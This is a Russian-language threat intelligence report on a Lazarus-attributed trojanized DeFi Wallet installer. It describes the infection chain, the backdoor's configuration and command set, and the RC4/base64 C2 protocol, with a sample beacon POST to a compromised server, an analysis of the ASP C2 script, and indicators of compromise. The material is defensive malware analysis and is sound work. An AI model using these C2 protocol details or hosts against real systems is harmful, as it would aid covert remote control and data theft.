APT-группа Lazarus специализируется в первую очередь на получении финансовой выгоды. В последнее время криптовалютный бизнес — ее основная цель. По мере того как стоимость криптовалют растет, а невзаимозаменяемые токены (NFT) и децентрализованные финансы (DeFi) привлекают все больше внимания, Lazarus продолжает активно атаковать криптовалютный сектор.
Недавно мы обнаружили протрояненное DeFi-приложение, скомпилированное в ноябре 2021 года. Оно содержит легитимную программу DeFi Wallet для работы с криптовалютным кошельком, которая при выполнении имплантирует в систему вредоносный файл — полнофункциональный бэкдор, способный контролировать скомпрометированное устройство. Проанализировав функции этого бэкдора, мы обнаружили многочисленные совпадения с другими инструментами группы Lazarus.
Для этой атаки оператор вредоносного ПО использовал исключительно скомпрометированные веб-серверы, расположенные в Южной Корее. Чтобы перехватить управление ими, мы тесно сотрудничали с корейским центром реагирования KrCERT, и в результате смогли исследовать командный сервер группы Lazarus. Инфраструктура серверов сконфигурирована для атаки в несколько этапов. Серверы первого этапа распространяют бэкдор, а цель серверов второго этапа — связь с имплантами. Такая схема характерна для инфраструктуры Lazarus.
Краткая предыстория
В середине декабря 2021 года мы заметили подозрительный файл, загруженный на VirusTotal. На первый взгляд он выглядел как приложение для работы с децентрализованными финансами (DeFi). Однако при более тщательном анализе мы выяснили, что файл запускает цепочку заражения. При запуске приложение помещает в систему и вредоносный файл, и установщик легитимного приложения. Вредоносная программа выполняется с использованием пути к протрояненному установщику. Затем созданный бэкдор заменяет протрояненное приложение на легитимное, чтобы скрыть следы первого.
Цепочка заражения
Первичное заражение
Хотя до сих пор не ясно, как именно злоумышленники заставляют жертву запускать протрояненное приложение (0b9f4612cdfe763b3d8c8a956157474a), мы предполагаем, что для этого они используют целевые фишинговые письма или сообщения в социальных сетях. Протрояненное приложение запускает цепочку заражения. Установочный пакет маскируется под приложение DeFi Wallet и содержит легитимный двоичный файл и вредоносный установочный файл.
После выполнения установочный файл получает расположение вредоносной программы следующего этапа (C:\ProgramData\Microsoft\GoogleChrome.exe) и дешифрует его с помощью операции XOR с однобайтовым ключом 0x5D. При подготовке к следующему этапу заражения установочный файл записывает первые 8 байт, включая заголовок MZ, в файл GoogleChrome.exe и извлекает остальные 71 164 байта из секции .data протрояненного приложения. Затем созданный зловред загружает ресурс CITRIX_MEETINGS из своего тела и сохраняет его по адресу C:\ProgramData\Microsoft\CM202025.exe. Полученный файл представляет собой легитимное приложение DeFi Wallet. Наконец, установщик выполняет ранее созданную вредоносную программу, используя имя файла как параметр:
C:\ProgramData\Microsoft\GoogleChrome.exe «[текущее имя файла]»
Схема создания зловреда
Создание бэкдора
Зловред (d65509f10b432f9bbeacfc39a3506e23), сгенерированный указанным выше протрояненным приложением, маскируется под безобидный браузер Google Chrome. После запуска зловред проверяет, что он был запущен с аргументом, прежде чем начать копировать легитимное приложение C:\ProgramData\Microsoft\CM202025.exe по адресу, представленному в виде параметра командной строки, то есть переписывает исходный протрояненный установщик. Вероятнее всего, это попытка скрыть следы присутствия этого установщика. Затем зловред выполняет легитимный файл, чтобы усыпить бдительность жертвы, демонстрируя процесс установки безобидной программы. Когда пользователь запускает новую программу, он видит программное обеспечение DeFi Wallet[1] с открытым исходным кодом.
Снимок экрана протрояненного приложения
Затем зловред инициализирует конфигурационные данные. Конфигурационные данные состоят из флагов, адресов командных серверов, значения идентификатора жертвы и значения времени. Как видно из структуры, показанной в таблице ниже, конфигурация зловреда может содержать до пяти адресов командных серверов, но в данном случае использовались только три.
Смещение | Длина (в байтах) | Описание |
0x00 | 4 | Флаг для начала коммуникации с командным центром |
0x04 | 4 | Случайное значение для выбора командного сервера |
0x08 | 4 | Случайное значение для идентификации жертвы |
0x0C | 0x208 | Адрес командного сервера |
0x214 | 0x208 | Адрес командного сервера |
0x41C | 0x208 | Адрес командного сервера |
0x624 | 0x208 | Адрес командного сервера |
0x82C | 0x208 | Адрес командного сервера |
0xA34 | 0x464 | Буфер для системных данных |
0xE98 | 0x400 | Полный путь к файлу cmd.exe |
0x1298 | 0x400 | Путь к временной папке |
0x1698 | 8 | Время запуска бэкдора |
0x16A0 | 4 | Временной интервал |
0x16A4 | 4 | Флаг для сбора информации о логических дисках |
0x16A8 | 8 | Флаг для составления списка данных о сеансах |
0x16B0 | 8 | Значение времени для сбора информации о логических дисках и сеансах |
Зловред случайным образом выбирает адрес командного сервера и отправляет на него сигнал. Этот сигнал представляет собой жестко прописанное и незашифрованное значение типа DWORD 0x60D49D94. Ответ от сервера содержит то же самое значение. Если от командного сервера приходит ожидаемое значение, зловред начинает работать как бэкдор.
Следуя дальнейшим указаниям командного сервера, бэкдор шифрует данные с использованием заранее заданного метода. Для шифрования используется алгоритм RC4 и жестко заданный ключ 0xD5A3. После шифрования данные дополнительно кодируются по методу base64.
Бэкдор генерирует параметры POST с жестко заданными именами. Тип запроса (msgID), идентификатор жертвы и случайным образом сгенерированное значение объединяются в параметр jsessid. Зловред также создает параметр cookie, в котором содержатся четыре случайным образом сгенерированных четырехбайтовых значения. Эти значения тоже шифруются по алгоритму RC4 с дополнительным кодированием base64. Анализируя скрипт командного сервера, мы заметили, что зловред использует не только параметр jsessid, но и параметр jcookie.
Структура параметра jsessid
Показанный ниже HTTP-запрос – попытка зловреда связаться с командным сервером, используя тип запроса 60d49d98 и случайным образом сгенерированное значение cookie.
1 2 3 4 5 6 7 8 |
POST /include/inc.asp HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3) Host: emsystec.com Content-Length: 80 Cache-Control: no-cache jsessid=60d49d980163be8f00019f91&cookie=29f23f917ab01aa8lJ3UYA==2517757b7dfb47f1 |
В зависимости от ответа командного сервера бэкдор выполняет то или иное скрытое действие, направленное на сбор системной информации или управление зараженным компьютером.
Команда | Описание |
0x60D49D97 | Настройка времени с текущим значением временного интервала (по умолчанию 10) |
0x60D49D9F | Настройка времени с использованием данных, полученных от командного сервера |
0x60D49DA0 | Сбор информации о системе: IP-адрес, имя компьютера, версия ОС, архитектура ЦП |
0x60D49DA1 | Сбор информации о дисках, в том числе о типе и объеме свободного пространства |
0x60D49DA2 | Составление списка файлов (с указанием имени, размера и времени последнего изменения) |
0x60D49DA3 | Составление списка процессов |
0x60D49DA4 | Прекращение процесса |
0x60D49DA5 | Смена рабочего каталога |
0x60D49DA6 | Подключение к заданному IP-адресу |
0x60D49DA7 | Установка временных меток |
0x60D49DA8 | Выполнение команды Windows |
0x60D49DA9 | Безопасное удаление файла |
0x60D49DAA | Создание нового процесса с помощью API CreateProcessW |
0x60D49DAB | Создание нового процесса с помощью API CreateProcessAsUserW |
0x60D49DAC | Создание нового процесса с высоким уровнем целостности |
0x60D49DAD | Загрузка файла с командного сервера и сохранение в заданном расположении |
0x60D49DAE | Отправка информации о времени создания и содержимом файла |
0x60D49DAF | Добавление файлов в файл .cab с последующей отправкой на командный сервер |
0x60D49DB0 | Составление списка файлов в заданном расположении |
0x60D49DB1 | Отправка конфигурации на командный сервер |
0x60D49DB2 | Получение новой конфигурации от командного сервера |
0x60D49DB3 | Установка конфигурации на текущее время |
0x60D49DB4 | Приостановка на 0,1 с и продолжение работы |
Инфраструктура
В этой кампании группа Lazarus использовала исключительно скомпрометированные веб-серверы, расположенные в Южной Корее. В тесном сотрудничестве с корейским центром KrCERT мы смогли отследить и проанализировать скрипт с одного из скомпрометированных серверов. Описанный в этом разделе скрипт находился по следующему пути:
1 |
http://bn-cosmo[.]com/customer/board_replay[.]asp |
Он представляет собой ASP-файл, написанный на языке VBScript.Encode, — Lazarus часто использует такие скрипты для своих командных серверов. После декодирования видно, что строка 60d49d95 используется как код сообщения об ошибке, а строка 60d49d94 – как сообщение об успехе. Кроме того, история подключений записывается в файл stlogo.jpg, а адрес командного сервера для следующего этапа сохраняется в файле globals.jpg в той же папке.
Конфигурация скрипта командного сервера
Скрипт проверяет значение, доставленное в параметре jcookie, и если его длина превышает 24 символа, извлекает первые восемь символов как значение msgID. В зависимости от значения msgID вызываются разные функции. Команды для бэкдора и результаты исполнения команд, отправляемые бэкдором, сохраняются в глобальных переменных. Мы уже видели эту схему в действии в случае с кластером Bookcode[2]. Чтобы обеспечивать обмен данными между бэкдором и командным сервером второго этапа, скрипт использует следующие переменные как флаги и буферы:
- lFlag: флаг, сигнализирующий о том, что имеются данные для доставки бэкдору
- lBuffer: буфер для хранения данных, которые позже будут отправлены бэкдору
- tFlag: флаг, сигнализирующий о наличии ответа от бэкдора
- tBuffer: буфер для хранения данных, поступающих от бэкдора
msgID | Название функции | Описание |
60d49d98 | TFConnect | Сохраняет значение TID (идентификатор жертвы) в файл журнала, отправляет значение jcookie с IP-адресом клиента после того, как получит адрес командного сервера следующего этапа из конфигурационного файла (globals.jpg). Перенаправляет в клиент запрос от сервера следующего этапа. |
60d49d99 | TConnect | Доставляет команду бэкдору.
Если lFlag имеет значение true, отправляет IBuffer в клиент. Сбрасывает IBuffer и устанавливает для lFlag значение false. В противном случае сбрасывает tBuffer и устанавливает для tFlag значение false. |
60d49d9a | LConnect | Отправляет команду и возвращает результат выполнения команды.
Устанавливает значение lBuffer как параметр jcookie, доставляя буфер tBuffer в клиент. |
60d49d9c | Check | Собирает информацию о хосте (имя компьютера, версия ОС). Удаляет конфигурационный файл, в котором сохранен адрес командного сервера следующего этапа, если такой файл имеется. Затем сохраняет новую конфигурацию с полученными данными, используя параметр jcookie. |
60d49d9d | LogDown | Доставляет файл журнала после кодирования по методу base64, затем удаляет его. |
Другие значения | Н/д | Записывают подключения с неизвестными/неожиданными значениями msgID (тип запроса) в файл журнала, записи маркируются метками xxxxxxxx. |
Атрибуция кибератак
Мы с высокой степенью уверенности считаем, что это вредоносное ПО связано с группой Lazarus, так как мы обнаружили похожий зловред в кластере вредоносного ПО CookieTime (японский центр JPCERT назвал LCPDot). До недавних пор кластер активно использовался группой Lazarus, мы наблюдали ее атаки на оборонный сектор с использованием CookieTime и предложения вакансий в качестве приманки. Мы уже опубликовали несколько отчетов об этом кластере для клиентов сервиса информирования об угрозах и нашли протрояненное приложение Citrix (MD5 5b831eaed711d5c4bc19d7e75fcaf46e) с такой же подписью кода, как и у зловреда CookieTime. Бэкдор, обнаруженный в ходе последнего расследования, и найденное ранее протрояненное приложение практически идентичны. Среди прочего они используют один и тот же метод связи с командным сервером, одни и те же функции бэкдора, процедуру генерирования случайных чисел и один и тот же метод шифрования данных подключения. Этот зловред также упоминается в отчете Ahnlab, которые рассматривают его связь с CookieTime (LCPDot).
Переключение бэкдора такое же, что и в CookieTime
В свою очередь, мы выяснили, что кластер CookieTime связан с кластерами Manuscrypt и ThreatNeedle, которые также приписывают группе Lazarus. Это относится не только к бэкдору, но и к скриптам командных серверов, которые демонстрируют несколько совпадений с кластером ThreatNeedle. В скриптах командных серверов мы обнаружили почти все имена функций и переменных, а это означает, что операторы повторно использовали базу кода и сгенерированные скрипты командных серверов для вредоносного ПО.
Скрипт командного сервера ThreatNeedle из расположения roit.co[.]kr/xyz/adminer/edit_fail_decoded.asp |
Скрипт командного сервера в данном случае | ||||
|
|
Почти идентичные скрипты для получения IP-адреса клиента
Скрипт командного сервера ThreatNeedle из расположения edujikim[.]com/pay_sample/INIstart.asp |
Скрипт командного сервера в данном случае | ||||
|
|
Похожие скрипты для сохранения данных в файл
Выводы
Во время предыдущего расследования мы выяснили, что группа BlueNoroff, тоже связанная с Lazarus, скомпрометировала DeFi-кошелек MetaMask. Как продемонстрировал последний случай, группы Lazarus и BlueNoroff пытаются доставить свое вредоносное ПО, не привлекая к нему внимания, и используют для привлечения жертв изощренные методы. Отрасль криптовалют и блокчейн-технологий продолжает развиваться и привлекать новые инвестиции. Поэтому мы полагаем, что интерес группы Lazarus к ней как основному источнику прибыли в ближайшее время не снизится.
Индикаторы компрометации
Протрояненное приложение DeFi
0b9f4612cdfe763b3d8c8a956157474a DeFi-App.exe
Внедряемый бэкдор
d65509f10b432f9bbeacfc39a3506e23 %ProgramData%\Microsoft\GoogleChrome.exe
Похожий бэкдор
a4873ef95e6d76856aa9a43d56f639a4
d35a9babbd9589694deb4e87db222606
70bcafbb1939e45b841e68576a320603
3f4cf1a8a16e48a866aebd5697ec107b
b7092df99ece1cdb458259e0408983c7
8e302b5747ff1dcad301c136e9acb4b0
d90d267f81f108a89ad728b7ece38e70
47b73a47e26ba18f0dba217cb47c1e16
77ff51bfce3f018821e343c04c698c0e
Командные серверы первого этапа (легитимные, скомпрометированные)
hxxp://emsystec[.]com/include/inc[.]asp
hxxp://www[.]gyro3d[.]com/common/faq[.]asp
hxxp://www[.]newbusantour[.]co[.]kr/gallery/left[.]asp
hxxp://ilovesvc[.]com/HomePage1/Inquiry/privacy[.]asp
hxxp://www[.]syadplus[.]com/search/search_00[.]asp
hxxp://bn-cosmo[.]com/customer/board_replay[.]asp
Командные серверы второго этапа (легитимные, скомпрометированные)
hxxp://softapp[.]co[.]kr/sub/cscenter/privacy[.]asp
hxxp://gyro3d[.]com/mypage/faq[.]asp
Сопоставление с базой знаний MITRE ATT&CK
В этой таблице собраны все тактики и методы, идентифицированные в ходе анализа описанной в отчете активности.
Тактика | Метод | Название метода |
Execution | T1204.002 | User Execution: Malicious File (Выполнение с участием пользователя: вредоносный файл) Использование протрояненного приложения для внедрения вредоносного бэкдора |
Persistense | T1547.001 | Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder (Автозапуск при загрузке или входе в систему: ключи запуска в реестре / Папка автозагрузки) Бэкдор внедряется в раздел реестра Run |
Defense Evasion | T1070.004 | Indicator Removal on Host: File Deletion (Удаление признаков активности из системы: удаление файлов) Протрояненное приложение заменяется на легитимное, чтобы скрыть следы присутствия в системе |
T1070.006 | Indicator Removal on Host: Timestomp (Удаление признаков активности из системы: изменение временных меток) Бэкдор может изменять временные метки отдельных файлов |
|
Discovery | T1057 | Process Discovery (Исследование процессов) Бэкдор составляет список запущенных процессов |
T1082 | System Information Discovery (Исследование информации о системе) Бэкдор собирает информацию о системе: IP-адрес, имя компьютера, версия ОС и архитектура ЦП |
|
T1083 | File and Directory Discovery (Исследование файлов и каталогов) Бэкдор составляет список файлов в некоторых каталогах |
|
T1124 | System Time Discovery (Исследование системного времени) Бэкдор собирает информацию о системе |
|
Command and Control | T1071.001 | Application Layer Protocol: Web Protocols (Протокол прикладного уровня: веб-протоколы) Использование HTTP как канала для связи бэкдора и командного сервера |
T1573.001 | Encrypted Channel: Symmetric Cryptography (Зашифрованный канал: симметричное шифрование) Бэкдор использует шифрование по алгоритму RC4 и метод base64 |
|
Exfiltration | T1041 | Exfiltration Over C2 Channel (Эксфильтрация через канал управления) Бэкдор отправляет собранные данные по каналам командных серверов |
[1] https://github.com/DeFiCh/app
[2]Отчет об APT-угрозе: группа Lazarus собирает данные, связанные с Covid19.
Lazarus распространяет протрояненный DeFi-кошелек